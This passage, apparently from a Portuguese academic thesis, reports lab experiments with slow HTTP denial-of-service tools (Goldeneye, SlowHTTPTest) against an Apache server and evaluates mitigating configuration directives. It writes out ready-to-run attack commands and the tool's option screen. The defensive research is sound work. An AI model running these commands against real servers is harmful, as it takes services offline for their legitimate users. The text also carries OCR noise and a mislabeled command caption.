) o x;l»g’ »;Ep rl”fg ,ﬂﬁ rgfg -560 bﬁ" lf:lg &{3‘3 gpbe \b?i{g

Seconds

Figura 4.23: Relatorio final apds ataque Slow Read com medidas de seguranga.

4.2 EXPERIMENTOS COM GOLDENEYE

4.2.1 A ferramenta Goldeneye

Jan Seidl foi o responsdvel por criar o Goldeneye a partir do aprimoramento da ferra-
menta HULK (HTTP Unbeareble Load King), criado por Barry Shteiman em 2012, que
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tinha como pressuposto abusar dos slots de conexdo usando keep-alive (conexdes persisten-
tes) e forcando o nao uso de cache dos servidores Web (SHTEIMAN, 2012).

O ataque, escrito em Python, mostrou-se muito efetivo, porém pouco tempo depois, a
equipe SpiderLabs encontrou uma forma de neutralizar esse tipo de ataque. Foi detectado
que em todos os cabecalhos das requisi¢cdes havia sempre uma ordem de sequéncia dos ele-

mentos:
* Accept-Enconding
* Host
» Keep-Alive
* User-Agent
* Accept-Charset
* Connection
 Referer
 Cache-Control
Isso ocorre devido ao uso da biblioteca urllib2, que faz o ordenamento indesejado. Sa-

bendo isso, basta configurar o servidor a forcar o encerramento dos slots ao perceber um
padrao de ataque vindo em cabecalhos de requisicio (BARNETT, 2012).

A partir dai, Jan Seidl, buscando ndo deixar uma assinatura para o ataque, iniciou o
melhoramento da ferramenta inserindo randomizag¢ao nas requisicdes HTTP e mantendo as
propriedades de keep-alive e no-cache. Assim foi concebido o Goldeneye, que atualmente se
encontra na versdo 2.1. A aparéncia da ferramenta, juntamente com seus parametros, pode
ser vista na Figura 4.24

GoldenEye v2.1 by Jan Seidl <jseidl@wroot.org>
USAGE: ./goldeneye.py =urls [OPTIONS]

OPTIONS:
Flag Description Default

, --useragents File with user-agents to use (default: randomly generated)
. --workers Number of concurrent workers (default: 18)
, --sockets Number of concurrent sockets (default: 588)
, --method HTTP Method to use 'get' or 'post' or 'random' (default: get)
» --debug Enable Debug Mode [more verbose output] (default:
Shows this help

Figura 4.24: Tela inicial do Goldeneye 2.1.

Para evitar padroes de detec¢do, a randomizagdo € feita de acordo com a RFC 2616,

respeitando os parametros para dificultar mitigacdo. O Goldeneye é capaz de randomizar o
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envio de requisicdes GET e POST na mesma sessdo de ataque. O contetido dos cabegalhos
também sdo variados (SEIDL, 2014).

4.2.2 Experimento 9: Ataque a um servidor Apache usando a ferramenta Goldeneye
em modo GET e POST

Para fazer uso da ferramenta Goldeneye foram escolhidos os seguintes parametros de
ataque: método HTTP aleatorio, 5 workers e 150 sockets. Nao ha pardmetros para duracao

do teste, mas executou-se durante 600 segundos.

O comando executado neste teste € mostrado no Quadro 4.6.

./ goldeneye .py http://192.168.1.102 —w 5 —s 150 —m random

Quadro 4.6: Comando de ataque SlowHTTPTest no modo Slow Read

Para executar o teste com verificagdo dos instantes em que o servidor, de fato, fica in-
terrompido, fez-se uso da ferramenta SlowHTTPTest com um ataque inofensivo simultanea-
mente ao ataque Goldeneye somente para tirar proveito da caracteristica de verificar o estado
do servidor e obter um grifico ao final do teste. E importante frisar que o comando no Qua-

dro 4.7 é totalmente ineficaz, ndo sendo capaz de fazer dano ao servidor.

slowhttptest —¢c 1 —H —g —o goldeneye —i 100 —r 10 —t GET
—u http://192.168.1.102 -1 600 —x 24 —p 5

Quadro 4.7: Comando executado paralelamente ao Goldeneye

Durante o ataque € possivel observar o estado no servidor Apache e, inclusive, as requisi-
coes GET e POST sendo misturadas com contetdo aleatério. Esse panorama pode ser visto
na Figura 4.25. O relatério final apds o ataque Goldeneye foi feito com auxilio da ferramenta
SlowHTTPTest e € mostrado na Figura 4.27.

Ap6s realizar o ataque Goldeneye foi possivel constatar que o ataque foi bastante efi-
ciente. O servidor para seus servicos depois dos 4 segundos iniciais. Porém, o estado do
servidor nao se mantém constante. Como pode ser visto na Figura 4.27, ha periodos alter-
nantes de disponibilidade e interrupc¢ao de servico. No total, o tempo de indisponibilidade
foi de 528 segundos.
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Apache Server Status for localhost (via ::1)

Server Version: Apache/2.4.10 (Win32) OpenSSL/1.0.1i PHP/3.6.3
Server MPM: WinNT
Apache Lounge VC11 Server Built: Jul 17 2014 11:30:08

Current Time: Thursday. 07-May-2
Restart Time: Thursday. 07-May-2!

Parent Server Config. Generation: 1
Parent Server MPM Generation: 0
Server uptime: 1 minute 19 seconds
Server load: -1.00 -1.00 -1.00
Total accesses® 658 - Total Traffic: 16.5 MB

§.33 requests/sec - 213.3 kB/second - 25.6 kB /request
150 requests currently being processed. 0 idle workers

KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKEKKKKKKRKKKKRKKKKR KK
KKKKKKKKKKKKKKKKKRKKKKKKRKKKKKKKKKKKKKKKK KKK KK KKK R KKKKRKKKKR KK
KEKKKKKKKKRKRKKKWRKKKK

Scoreboard Key:

"_" Waiting for Connection. "s" Starting up. "R" Reading Request
Sending Reply. "K" Keepalive (read). "0" DNS Lookup.
Closing connection, "L" Logging, "6" Gracefully finishing.

56:38 E. South America Standard Time
5:19 E. Seouth America Standard Time

Request

103 localhost:80 GET /MY UrpA=GqlknsubUgnHEvI&WMepL mG=rOwodbmugn HTTP/1.1

7Audm 1=Vdh&FwT7=0AeVMmTalxSs2AXeR7 HTTP/1.1
TBBI5tl4=j7W0GTxO0CWNM HITP/1.1

22T TqNHbU=FmOaC8IeF fNsuKlqo&ssdn=XnPaRnlfl SNH&KYWk=cTIR&Q
7H4vSh7u=EG2nREGVAfm&bKIDEM Iv=pun3o&vaD1d3CrW2=nVIM HITP

103 localhost:80 GET /?7QDPX=0AI7UxpkS 2mK&L AokVCmf=djlYoUc IOISP{&L 1 Sh=wwaF Y3 HTTP

?13bj=ImfQM1pl73v8rsakd3V=aKsoeqDBBak4HFE THpq&wbQEo4c2=ms

103 locathost:80 GET /?s8C41 5=U44mnwix] 7paNG T dMvnU&bAVE=0TXCM45wixq&mKrSh=AWE fux

"1" Idle cleanup of worker. "." Open slot with no current process

SrvPID  Acc MSSReq Conn ChildSlot  Client VHost
0-07780144 K1 2 80 003 0031921681

0-07780144 KO0 @ 80 003 0031921681103 localhost:80POST
0-07780144 KO0 2 80 003 0031921681103 localhost:80POST
0-07780144 KO0 2 80 0.03 0.03192.168.1.103 localhost:80 POST
0-07780144 K1 2 8.0 0.03 0.03192.168.1.103 localhost:80POST
0-07780144 KO0 2 80 0.03 0.03192.168.1.

0-07780 144 KO0 14 8.0 0.03 0.03192.168.1.103 localhost:80POST
0-07780144 KO0 2 80 003 0.03192.168.1.

0-07780144 KO0 12 80 003 003192168.1.103localhost:80POST
0-07780144 KO0 1 80 003 0031921681103 localhost:80POST
0-07780144 KO0 3 80 003 0031921681103 localhost:30POST
0-07780144 KO0 2 80 003 0.03192.168.1.103 localhost:80 POST
0-07780144 KO0 3 8.0 0.03 0.03192.168.1.103 localhost:80POST
0-07780144 K1 1 80 0.03 0.03192.168.1.103 localhost:80POST
0-07780144 KO0 2 80 0.03 0.03192.168.1.103 localhost:80POST
0-07780144 K1 1 80 003 0031921681

Figura 4.25:

Connections

0.8

0.6

0.4

0.2

0,0

?0e2uq6=>5rceQoVwExIUInkHNT HTTP/1.1

72621 TG1U=wirvYRqogUehqb& T6Xtyq6 T=N8UTVBCs TkmsiBY &eTIIg2=k
TVIECCIUH=B6enWGL6PE HTTP/1.1

?TNEsHo=fW AkCrk-+h&5Ag8cIn=RkCfa86cbTKXt873&s6on=ITFAIB&Ee
20rG6=kI401VHowBi&ual $Y Xy Xht=ibld3UTgehd&v3bb=Yh4h kB SGI&
718pY=nONGKDj1 AR lighenrsU HTTP/1.1
71SpXbGyRg=XITuHVipCNSjs&uepb]=NIeFdY | LULr1&BfL CwDFx=DPm H

103 localhost: 80 GET /7XPEUVNE G=mxhDv1YeTvrduc& SoHYh=mRhdaeOTn&LaliMOTX=TelfpkoP

Estado do servidor Apache durante o ataque Goldeneye.

Test results against hitp://192.168.1.102

—

] B Closed
M Pending
Connected

B Senvice
available

O B oo _;5‘3 ,LQ,Q 1:1’"3 1:[0 %\_‘:J ,3‘6'5 hp,% b'c;b hg% ‘.)D'B ‘O%%

Seconds

Figura 4.26: Relatério final apds o ataque Goldeneye.

4.2.3 Experimento 10: Ataque a um servidor Apache usando a ferramenta Goldeneye

em modo GET e POST com medidas de seguranca

A forma de mitigacdo para um ataque Goldeneye exige medidas granulares, ou seja, é

preciso mudar vdrias diretivas intrinsecas, tendo em vista que as alteragdes podem alterar o

desempenho do servidor Web.

Portanto, para reduzir os efeitos da ferramenta foram feitas as seguintes alteragcdes:
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1. Reducdo da diretiva Timeout de 300 para 150 segundos;

2. Reducdo da diretiva MaxKeepAliveRequests de 100 para 10 requisi¢des;

3. Reducdo da diretiva KeepAliveTimeout de 5 para 3 segundos;

4. Ativacdo do médulo mod_reqgtimeout.

Para aproveitar a caracteristica da ferramenta SlowHTTPTest de testar o acesso a pagina

de teste, foi executado o comando inofensivo do Quadro 4.8. Paralelamente foi executado o

mesmo comando mostrado no Quadro 4.6 com duragdo de 600 segundos.

slowhttptest —c 10 —X —g —o goldeneyeseg —r 10 —w 10 —y 1024 —n 5 —z 32
—k 1 —u http://192.168.1.102 —p 5 —1 600

Quadro 4.8: Comando executado paralelamente ao Goldeneye

Ao final do procedimento verificou-se que, mesmo com as medidas tomadas, o servidor
nao foi capaz de permanecer ativo durante a maior parte do tempo. O ataque Goldeneye

realmente é um ataque nocivo e dificil de amenizar. E o que mostra a Figura

Test results against http://192.168.1.102/

nrl [] [] 1 T -l '] M Closed
M Pending
8 Connected

B Service
available

Connhections

0

o B P {55’ = -1_’1-‘3 10 az,‘f’ AED AP P b P ‘o%%

Seconds

Figura 4.27: Relatério final apds o ataque Goldeneye com as medidas de seguranga.
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43 COMPARACAO DE EFICIENCIA DOS ATAQUES

Ap0s todos os testes efetuados por ambas as ferramentas, conclui-se que o servidor Apa-

che, com configuracdo padrdo, é muito vulneravél aos ataques lentos visando o protocolo

HTTP. Em novas versdes do servidor sdo disponibilizados alguns médulos utéis para mitigar

os ataques. E altamente recomendavel que sejam deixados ativos.

Mesmo com uso do médulo de seguranga, o ataque Goldeneye revelou-se o mais agres-

sivo. Isso se da por conta da randomizagdo extrema incorporada a ferramenta. Para ratificar

os resultados, apresenta-se a Tabela 4.2.

Tabela 4.2: Tabela comparativa da eficiéncia dos ataques simulados

Ataque Percentual de tempo de indisponibilidade
Slowloris 99.5%
Slowloris com medidas de seguranca 6,5%
Slowloris com medidas de seguranca * 9,83%
Slow POST 99,33%
Slow POST com medidas de seguranca 6,5%
Slow POST com medidas de seguranca * 12,6%
Slow Read 99.33%
Slow Read com medidas de seguranca 1,33%
Goldeneye 88%
Goldeneye com medidas de seguranga 62,5%

* ataque intensificado.
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5 CONCLUSOES

A comunicagdo € parte primordial no contexto atual da sociedade. Consequentemente,
muita informacao € trafegada a todo tempo pelas vias da Internet. Assim como ha aqueles
que desejam propagar informacdes, hd também aqueles que, de algum modo, querem impedir
que a informacao ou servi¢o cheguem ao usudrio-alvo. E sobre esse paradigma constituiram-

se as técnicas de ataque de negacdo de servigo.

Ao longo do tempo, a eficiéncia dos ataques DoS vem aumentando. Atualmente, sem
muito poder de fogo, um agente mal intencionado pode contribuir para que um servigo na
Internet fique indisponivel para o usudrio legitimo. Essa € a proposta dos ataques lentos de
negacdo de servigo (Slow DoS). Nao se trata mais de congestionar os recursos de banda, in-
serindo pacotes de forma massiva na rede, mas sim provocar lentidao no servidor ao enviar e
ler as requisi¢des e respostas. Ou seja, antigamente procurava-se esgotar a banda do servico.
Hoje, busca-se consumir memoria, processamento e slots de conexdo. Ao contrério dos ata-
ques de camada de rede que fazem uso de forga bruta, os ataques a camada de aplicacdo sao
mais sutis e menos ruidosos, sendo capazes, portanto, de contornar medidas de protecdo ja
estabelecidas por gerenciadores de rede.

Dentre os motivos para se provocar o efeito de indisponibilidade encontram-se ativistas
cibernéticos que, ao discordarem de ideologias ou filosofias propagados por grupos, governos
etc., tentam conter sua disseminacdo ao impedir o acesso dos seus interessados ao conteido
que se publica. Outro fator motivacional € a disputa comercial, em que rivais tém o interesse
de interromper os servigos de um concorrente. Ha também aqueles que buscam obter retorno
financeiro ao tentar extorquir donos de conteido em troca da interrup¢io dos ataques. E,
por fim, € possivel encontrar casos de vandalismo, ou seja, usudrios sem algum objetivo

especifico claro de protesto, com inten¢do apenas de causar transtornos.

O presente trabalho aborda as diversas técnicas de provocar o efeito de negacdo de ser-
vico, desde as mais antigas, que exploram a camada de rede, aos novos tipos de ataque,
que buscam passar despercebidos por ndo causarem tanto ruido, e acabam sendo dificeis
de se diferenciar de requisicdes legitimas. Portanto, faz-se uso da metodologia de explicar
o funcionamento dos agentes de rede, escolher métodos e ferramentas e simular ataques,

avaliando-se a eficiéncia frente a técnicas de detec¢do e mitigacao.

As ferramentas utilizadas no estudo para executar os ataques foram o SlowHTTPTest e o
Goldeneye. Foram escolhidas por serem abrangentes e versateis, permitindo a configuracao
de uma variedade de parametros, e por reunir trés tipos bem conhecidos de técnicas: Slowlo-
ris, Slow POST e Slow Read. O servidor Web eleito foi o Apache, ja que vem se mantendo

em primeiro lugar em ndmero de utilizacdes no mundo.

Com o decorrer dos testes, foi verificado que a instalacdo e uso sem modificacdes do
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servidor Apache pode ser aventuroso. Mesmo sendo campedo de utilizacdo, o Apache nao
vem com solugdes de seguranca incorporadas de fabrica. E necessério ter um certo conhe-
cimento do funcionamento do servidor para implementar as medidas que previnem abusos
no seu servico. Este trabalho propds a execugdo dos ataques em cima do servidor inalterado,

com o uso de mddulos e medidas restritivas.

Como resultado, os testes realizados sobre o servidor sem nenhuma configuragdo adicio-
nal foram negativos. Ou seja, para nenhum dos trés ataques o Apache foi capaz de permane-
cer ativo continuando seu servigo. No entanto, quando se faz uso de médulos de seguranga,
o efeito é, em grande parte, reduzido e, em alguns casos, foi suficiente para impedir que o
ataque prossiga até o tempo estipulado. Apesar de prover uma certa protecdo, verificou-se
que as diretivas de seguranca sao fixas e o atacante, sabendo modificar os pardmetros de

ataque a seu favor, consegue intensificar e prolongar o dano.

E preciso julgar e avaliar o uso de medidas restritivas, j4 que o trafego malicioso pode
ser facilmente confundido com o tréfego legitimo de usudrios que apenas querem acessar um
contéudo. Vdrias vulnerabilidades se ddo em cima (de comportamento falho) dos protocolos,
que serdo mais adiantes explorados por agentes maliciosos. Portanto, deve-se buscar sempre
estar a frente daqueles que tem a intencdo de provocar efeitos negativos para usudrios €

provedores.

5.1 TRABALHOS FUTUROS

Sugere-se a realizacdo mais estudos que venham a abranger novas técnicas de ataques
a camada de aplicacdo, explorando o funcionamento de outros protocolos, como o DNS.
Como € sabido, a interrupc¢ao dos servigos de resolucao de nomes pode deixar vérias regioes

do mundo sem comunicac¢do, dependendo do nivel de hierarquia dos servidores atingidos.

E primordial, também, que sejam feitos estudos mais aprofundados do funcionamento e
de formas de se mitigar ataques de negagao de servigo a partir de inovagdes do paradigma

TCP/IP. Isso inclui o HTTP e os softwares que fazem o papel de servidores Web.
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